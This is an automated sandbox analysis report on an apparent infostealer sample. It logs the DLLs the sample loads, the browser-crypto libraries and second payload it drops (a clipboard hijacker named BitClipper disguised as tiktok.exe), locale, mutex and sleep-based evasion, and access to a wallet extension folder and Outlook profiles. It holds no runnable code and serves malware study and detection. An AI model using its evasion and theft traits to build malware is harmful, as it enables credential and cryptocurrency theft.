Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: bUcIhJ4VHm.exe, 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: bUcIhJ4VHm.exe, 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: M:\DATA\Projects\BitClipper2017\Release\BitClipper2017.pdb source: JKJEHJKJEB.exe, 00000006.00000000.2345750462.000000000054C000.00000002.00000001.01000000.00000009.sdmp, JKJEHJKJEB.exe, 00000006.00000002.4435854388.000000000054C000.00000002.00000001.01000000.00000009.sdmp, JKJEHJKJEB.exe.0.dr, tiktok[1].exe.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Unpacked PE file: 0.2.bUcIhJ4VHm.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Unpacked PE file: 0.2.bUcIhJ4VHm.exe.400000.0.unpack

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416240

Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004176C5 push ecx; ret	0_2_004176D8
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD1B536 push ecx; ret	0_2_6CD1B549
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00538856 push ecx; ret	6_2_00538869
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053834B push ecx; ret	6_2_0053835E

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\tiktok[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

0_2_00416240

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-73716

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

Stalling execution: Execution stalls by calling Sleep

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Window / User API: threadDelayed 354			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Window / User API: threadDelayed 9644			Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API coverage: 7.1 %
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	API coverage: 5.6 %

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe TID: 3116	Thread sleep count: 354 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe TID: 3116	Thread sleep time: -251694s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe TID: 3116	Thread sleep count: 9644 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe TID: 3116	Thread sleep time: -6856884s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00544EBB FindFirstFileExA,	6_2_00544EBB

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: DGDBFBFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DGDBFBFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: DGDBFBFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DGDBFBFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DGDBFBFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: DGDBFBFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: DGDBFBFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: DGDBFBFC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
